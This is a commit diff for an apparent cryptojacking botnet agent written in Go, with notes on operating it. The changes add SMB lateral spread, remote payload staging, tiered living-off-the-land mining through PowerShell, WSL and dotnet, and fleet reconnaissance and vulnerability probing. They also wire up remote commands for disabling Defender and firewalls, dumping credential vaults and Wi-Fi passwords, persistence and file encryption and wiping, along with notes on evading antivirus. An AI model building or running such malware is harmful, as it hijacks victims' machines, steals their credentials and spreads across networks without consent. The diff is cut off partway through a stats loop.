Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
43
PROBLEMS.md
43
PROBLEMS.md
@@ -14,6 +14,37 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
|
|||||||
| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
|
| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
|
||||||
| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
|
| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
|
||||||
|
|
||||||
|
## Scale limits (hundreds of subnets / 500+ agents)
|
||||||
|
|
||||||
|
| Area | Notes |
|
||||||
|
|------|-------|
|
||||||
|
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
|
||||||
|
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. |
|
||||||
|
| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
|
||||||
|
| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. |
|
||||||
|
| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. |
|
||||||
|
|
||||||
|
## Antivirus / Windows Defender
|
||||||
|
|
||||||
|
| Topic | Notes |
|
||||||
|
|-------|-------|
|
||||||
|
| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. |
|
||||||
|
| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. |
|
||||||
|
| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. |
|
||||||
|
| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. |
|
||||||
|
| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. |
|
||||||
|
|
||||||
|
## Container Mining
|
||||||
|
|
||||||
|
| Topic | Notes |
|
||||||
|
|-------|-------|
|
||||||
|
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
|
||||||
|
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. |
|
||||||
|
| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
|
||||||
|
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
|
||||||
|
| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. |
|
||||||
|
| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. |
|
||||||
|
|
||||||
## Architecture deferred (large)
|
## Architecture deferred (large)
|
||||||
|
|
||||||
| Area | Notes |
|
| Area | Notes |
|
||||||
@@ -27,7 +58,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
|
|||||||
| **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. |
|
| **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. |
|
||||||
| **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. |
|
| **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. |
|
||||||
| **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. |
|
| **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. |
|
||||||
| **Per-agent `stats_update` broadcast** | No batching in `websocket.go`; N agents → N dashboard frames. |
|
| **WS `init` ships full fleet** | Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (`?limit=&offset=`). |
|
||||||
|
| **SQLite single-writer ceiling** | `SetMaxOpenConns(1)` + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+. |
|
||||||
|
| **In-memory WS agent state** | Hub maps (`agentCapabilities`, `agentLogs`, DNS cache) grow O(agents); no eviction on disconnect beyond log trim. |
|
||||||
|
| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
|
||||||
|
| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
|
||||||
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
|
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
|
||||||
| **Path Forge test gaps** | Cancellation, batch races, skipped-counter UI not fully covered. |
|
| **Path Forge test gaps** | Cancellation, batch races, skipped-counter UI not fully covered. |
|
||||||
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
|
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
|
||||||
@@ -76,6 +111,12 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
|
|||||||
| Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
|
| Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
|
||||||
| Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
|
| Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
|
||||||
|
|
||||||
|
## UX consolidation (2026-06-06)
|
||||||
|
|
||||||
|
| Item | Notes |
|
||||||
|
|------|-------|
|
||||||
|
| **Fleet Roster → Crucible** | `/agents` redirects to `/crucible`; nav Fleet Roster removed. Filters, bulk actions, notes/tags, and roster delete live in Crucible only. |
|
||||||
|
|
||||||
## Product decisions (document-only)
|
## Product decisions (document-only)
|
||||||
|
|
||||||
| Topic | Notes |
|
| Topic | Notes |
|
||||||
|
|||||||
@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|||||||
if !c.cfg.HolePunch {
|
if !c.cfg.HolePunch {
|
||||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||||
}
|
}
|
||||||
case "spread_now":
|
case "spread_now", "spread_smb_unc", "discover_and_join":
|
||||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||||
}
|
}
|
||||||
|
case "stage_fetch":
|
||||||
|
if !c.cfg.RemoteAggressive {
|
||||||
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||||
|
}
|
||||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
||||||
if !c.cfg.RemoteAggressive {
|
if !c.cfg.RemoteAggressive {
|
||||||
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|||||||
}
|
}
|
||||||
case "tunnel_status", "tunnel_wireguard":
|
case "tunnel_status", "tunnel_wireguard":
|
||||||
// Always available — read-only or Path Tracer config from server.
|
// Always available — read-only or Path Tracer config from server.
|
||||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
||||||
// No forge gate — always available.
|
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
||||||
case "mesh_status":
|
case "mesh_status":
|
||||||
if !c.cfg.MeshP2P {
|
if !c.cfg.MeshP2P {
|
||||||
return false, "mesh P2P not enabled in forge"
|
return false, "mesh P2P not enabled in forge"
|
||||||
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
c.sendCommandResult(action, true, msg)
|
c.sendCommandResult(action, true, msg)
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
case "spread_smb_unc":
|
||||||
|
unc := strings.TrimSpace(path)
|
||||||
|
svcName := ""
|
||||||
|
if unc == "" {
|
||||||
|
unc = strings.TrimSpace(data)
|
||||||
|
} else {
|
||||||
|
svcName = strings.TrimSpace(data)
|
||||||
|
}
|
||||||
|
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
||||||
|
UNCPath: unc,
|
||||||
|
MaxHosts: parsePortArg(command, 64),
|
||||||
|
SvcName: svcName,
|
||||||
|
})
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "stage_fetch":
|
||||||
|
var manifest deploy.StagingManifest
|
||||||
|
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
||||||
|
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
go func() {
|
||||||
|
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
case "subnet_scan":
|
case "subnet_scan":
|
||||||
maxHosts := parsePortArg(command, 64)
|
maxHosts := parsePortArg(command, 64)
|
||||||
out := deploy.ScanLocalSubnet(maxHosts)
|
out := deploy.ScanLocalSubnet(maxHosts)
|
||||||
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
case "wg_status":
|
case "wg_status":
|
||||||
c.sendCommandResult(action, true, WGStatus())
|
c.sendCommandResult(action, true, WGStatus())
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
case "service_discover":
|
||||||
|
maxHosts := parsePortArg(command, 32)
|
||||||
|
out := deploy.RunServiceDiscover(maxHosts)
|
||||||
|
c.sendCommandResult(action, true, out)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "discover_and_join":
|
||||||
|
maxHosts := parsePortArg(command, 32)
|
||||||
|
go func() {
|
||||||
|
msg, err := c.runDiscoverAndJoin(maxHosts)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
}()
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package client
|
package client
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"encoding/base64"
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
@@ -23,6 +24,7 @@ import (
|
|||||||
"crypto-miner-agent/job"
|
"crypto-miner-agent/job"
|
||||||
"crypto-miner-agent/miner"
|
"crypto-miner-agent/miner"
|
||||||
"crypto-miner-agent/stats"
|
"crypto-miner-agent/stats"
|
||||||
|
"crypto-miner-agent/vulnprobe"
|
||||||
|
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
)
|
)
|
||||||
@@ -46,6 +48,26 @@ type AgentClient struct {
|
|||||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||||
connected atomic.Bool
|
connected atomic.Bool
|
||||||
|
|
||||||
|
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
|
||||||
|
containerMiner *miner.ContainerLauncher
|
||||||
|
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
|
||||||
|
wslMiner *miner.WSLLauncher
|
||||||
|
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
|
||||||
|
psMiner *miner.PowerShellLauncher
|
||||||
|
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
|
||||||
|
dotnetMiner *miner.DotnetLauncher
|
||||||
|
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
|
||||||
|
hostMiningDisabled atomic.Bool
|
||||||
|
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||||
|
miningChain *MiningChainRunner
|
||||||
|
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||||
|
tierPolicy miner.MiningTierPolicy
|
||||||
|
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||||
|
triplePolicy miner.TripleOnionPolicy
|
||||||
|
triplePolicyLoaded bool
|
||||||
|
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||||
|
joinLane string
|
||||||
|
|
||||||
// lastJobAt records when the most recent valid mining job was delivered.
|
// lastJobAt records when the most recent valid mining job was delivered.
|
||||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||||
// situations and start direct Stratum mining after a timeout.
|
// situations and start direct Stratum mining after a timeout.
|
||||||
@@ -55,6 +77,9 @@ type AgentClient struct {
|
|||||||
// successful WS authentication confirms we are on an owned fleet.
|
// successful WS authentication confirms we are on an owned fleet.
|
||||||
spreadOnce sync.Once
|
spreadOnce sync.Once
|
||||||
|
|
||||||
|
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
||||||
|
commandResultHook func(action string, success bool, message string)
|
||||||
|
|
||||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||||
beaconMode atomic.Bool
|
beaconMode atomic.Bool
|
||||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||||
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
|||||||
agentID: cfg.AgentID,
|
agentID: cfg.AgentID,
|
||||||
}
|
}
|
||||||
c.mesh = NewMeshNode(c)
|
c.mesh = NewMeshNode(c)
|
||||||
|
c.initSpreadCredHooks()
|
||||||
return c
|
return c
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
|
|||||||
c.pool.Start()
|
c.pool.Start()
|
||||||
defer c.pool.Stop()
|
defer c.pool.Stop()
|
||||||
|
|
||||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
defer chainCancel()
|
||||||
c.mu.Lock()
|
c.miningChain = c.newMiningChainRunner()
|
||||||
c.gpuMiner = gm
|
if deploy.WantsDeferMining() {
|
||||||
c.mu.Unlock()
|
go c.startMiningWhenReady(chainCtx)
|
||||||
gm.Start()
|
} else {
|
||||||
defer gm.Stop()
|
c.miningChain.Start(chainCtx)
|
||||||
}
|
}
|
||||||
|
defer c.miningChain.Stop()
|
||||||
|
|
||||||
// Start AI Autonomy runner if enabled
|
// Start AI Autonomy runner if enabled
|
||||||
if c.cfg.AIEnabled {
|
if c.cfg.AIEnabled {
|
||||||
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
|
|||||||
OSVersion: deploy.HostOSVersion(),
|
OSVersion: deploy.HostOSVersion(),
|
||||||
MacAddress: primaryMACAddress(),
|
MacAddress: primaryMACAddress(),
|
||||||
BuildID: c.cfg.BuildID,
|
BuildID: c.cfg.BuildID,
|
||||||
USBSpread: c.cfg.USBSpread,
|
USBSpread: c.cfg.USBSpread,
|
||||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||||
|
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||||
|
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||||
|
JoinLane: c.getJoinLane(),
|
||||||
})
|
})
|
||||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
|
|||||||
if !resp.Success {
|
if !resp.Success {
|
||||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||||
}
|
}
|
||||||
|
c.applyAuthLotlPolicy(resp)
|
||||||
c.agentID = resp.AgentID
|
c.agentID = resp.AgentID
|
||||||
|
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||||
|
cfg := c.cfg
|
||||||
|
c.mu.Unlock()
|
||||||
|
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||||
|
}
|
||||||
c.clearWSDownSince()
|
c.clearWSDownSince()
|
||||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||||
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
|
|||||||
|
|
||||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||||
if c.cfg.AutoSpread {
|
c.spreadOnce.Do(func() {
|
||||||
c.spreadOnce.Do(func() {
|
c.mu.Lock()
|
||||||
deploy.StartAutoSpreader(c.cfg)
|
cfg := c.cfg
|
||||||
// One-shot first-run spread (triggered on the very first install).
|
c.mu.Unlock()
|
||||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
if cfg.AutoSpread {
|
||||||
deploy.RunSpreadOnce(c.cfg)
|
deploy.StartAutoSpreader(cfg)
|
||||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
if deploy.WantsFirstRunSpread(cfg) {
|
||||||
|
deploy.RunSpreadOnce(cfg)
|
||||||
|
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||||
}
|
}
|
||||||
})
|
}
|
||||||
}
|
if cfg.LotlOnionEnabled {
|
||||||
|
deploy.StartLotlOnion(cfg)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||||
return nil
|
return nil
|
||||||
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, "module "+module+" applied")
|
c.sendCommandResult(action, true, "module "+module+" applied")
|
||||||
|
case "start_mining":
|
||||||
|
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
|
||||||
|
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||||
|
wslRT := miner.WSLDetector()
|
||||||
|
_ = miner.ToggleWSLMining(wslRT, "", true)
|
||||||
|
}
|
||||||
|
if c.miningChain != nil {
|
||||||
|
c.miningChain.Resume(context.Background())
|
||||||
|
} else {
|
||||||
|
c.pool.ResumeRemote()
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, "mining started")
|
||||||
case "pause":
|
case "pause":
|
||||||
c.pool.PauseRemote()
|
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||||
c.mu.Lock()
|
wslRT := miner.WSLDetector()
|
||||||
gm := c.gpuMiner
|
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||||
c.mu.Unlock()
|
}
|
||||||
if gm != nil {
|
if c.miningChain != nil {
|
||||||
gm.Pause()
|
c.miningChain.Stop()
|
||||||
|
} else {
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||||
|
c.containerMiner.Stop()
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gm.Pause()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, "mining paused")
|
c.sendCommandResult(action, true, "mining paused")
|
||||||
case "resume":
|
case "resume":
|
||||||
c.pool.ResumeRemote()
|
if c.miningChain != nil {
|
||||||
c.mu.Lock()
|
c.miningChain.Resume(context.Background())
|
||||||
gm := c.gpuMiner
|
} else {
|
||||||
c.mu.Unlock()
|
if c.containerMiner != nil && !c.containerMiner.Running() {
|
||||||
if gm != nil {
|
if err := c.containerMiner.Start(); err != nil {
|
||||||
gm.Resume()
|
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
|
||||||
|
c.hostMiningDisabled.Store(false)
|
||||||
|
c.pool.ResumeRemote()
|
||||||
|
} else {
|
||||||
|
c.hostMiningDisabled.Store(true)
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
}
|
||||||
|
} else if !c.hostMiningDisabled.Load() {
|
||||||
|
c.pool.ResumeRemote()
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gm.Resume()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, "mining resumed")
|
c.sendCommandResult(action, true, "fleet health: hashing restored")
|
||||||
case "restart":
|
case "restart":
|
||||||
c.sendCommandResult(action, true, "restarting")
|
c.sendCommandResult(action, true, "restarting")
|
||||||
go c.restartSelf()
|
go c.restartSelf()
|
||||||
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
case "mining_diagnostics":
|
||||||
|
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
|
||||||
case "get_log":
|
case "get_log":
|
||||||
if tailLines <= 0 {
|
if tailLines <= 0 {
|
||||||
tailLines = 300
|
tailLines = 300
|
||||||
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||||
|
if c.commandResultHook != nil {
|
||||||
|
c.commandResultHook(action, success, message)
|
||||||
|
return
|
||||||
|
}
|
||||||
payload, _ := json.Marshal(map[string]interface{}{
|
payload, _ := json.Marshal(map[string]interface{}{
|
||||||
"action": action,
|
"action": action,
|
||||||
"success": success,
|
"success": success,
|
||||||
@@ -841,6 +928,16 @@ func probeSSH() bool {
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
|
||||||
|
if stratumOverlay {
|
||||||
|
return "direct"
|
||||||
|
}
|
||||||
|
if c.connected.Load() {
|
||||||
|
return "c2_ws"
|
||||||
|
}
|
||||||
|
return "none"
|
||||||
|
}
|
||||||
|
|
||||||
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||||
ticker := time.NewTicker(10 * time.Second)
|
ticker := time.NewTicker(10 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
@@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
var lastPressure *ResourcePressure
|
var lastPressure *ResourcePressure
|
||||||
var lastDNS *DNSConfig
|
var lastDNS *DNSConfig
|
||||||
var lastListenPortCount *int
|
var lastListenPortCount *int
|
||||||
|
var lastNetworkHints *deploy.NetworkHints
|
||||||
|
var lastVulnReport *vulnprobe.ScanReport
|
||||||
var postureReady bool
|
var postureReady bool
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
@@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
n := lp.Count
|
n := lp.Count
|
||||||
lastListenPortCount = &n
|
lastListenPortCount = &n
|
||||||
}
|
}
|
||||||
|
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||||
|
lastNetworkHints = &hints
|
||||||
|
lastVulnReport = RunVulnLOTLProbe()
|
||||||
}
|
}
|
||||||
probeTick++
|
probeTick++
|
||||||
|
|
||||||
@@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||||
}
|
}
|
||||||
stats.ListenPortCount = lastListenPortCount
|
stats.ListenPortCount = lastListenPortCount
|
||||||
|
stats.NetworkHints = lastNetworkHints
|
||||||
if lastPressure != nil {
|
if lastPressure != nil {
|
||||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||||
@@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.AgentElevated = lastPosture.AgentElevated
|
stats.AgentElevated = lastPosture.AgentElevated
|
||||||
stats.Services = lastPosture.Services
|
stats.Services = lastPosture.Services
|
||||||
}
|
}
|
||||||
|
if c.miningChain != nil {
|
||||||
|
ms := c.miningChain.Status()
|
||||||
|
stats.ActiveMethod = string(ms.ActiveMethod)
|
||||||
|
stats.StratumOverlay = ms.StratumOverlay
|
||||||
|
stats.ChainExhausted = ms.ChainExhausted
|
||||||
|
stats.MiningLastError = ms.LastError
|
||||||
|
if ms.LOTLTier != "" {
|
||||||
|
stats.LOTLTier = string(ms.LOTLTier)
|
||||||
|
}
|
||||||
|
if len(ms.LOTLAttempts) > 0 {
|
||||||
|
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
|
||||||
|
for i, a := range ms.LOTLAttempts {
|
||||||
|
stats.LOTLAttempts[i] = TierAttemptPayload{
|
||||||
|
Phase: a.Phase,
|
||||||
|
Tier: string(a.Tier),
|
||||||
|
OK: a.OK,
|
||||||
|
Error: a.Error,
|
||||||
|
DurationMs: a.DurationMs,
|
||||||
|
Wallet: a.Wallet,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(ms.FailedMethods) > 0 {
|
||||||
|
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||||
|
for i, f := range ms.FailedMethods {
|
||||||
|
stats.FailedMethods[i] = MethodFailurePayload{
|
||||||
|
Method: string(f.Method),
|
||||||
|
Reason: f.Reason,
|
||||||
|
At: f.At,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(ms.ChainOrder) > 0 {
|
||||||
|
stats.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||||
|
for i, m := range ms.ChainOrder {
|
||||||
|
stats.ChainOrder[i] = string(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
|
||||||
|
} else {
|
||||||
|
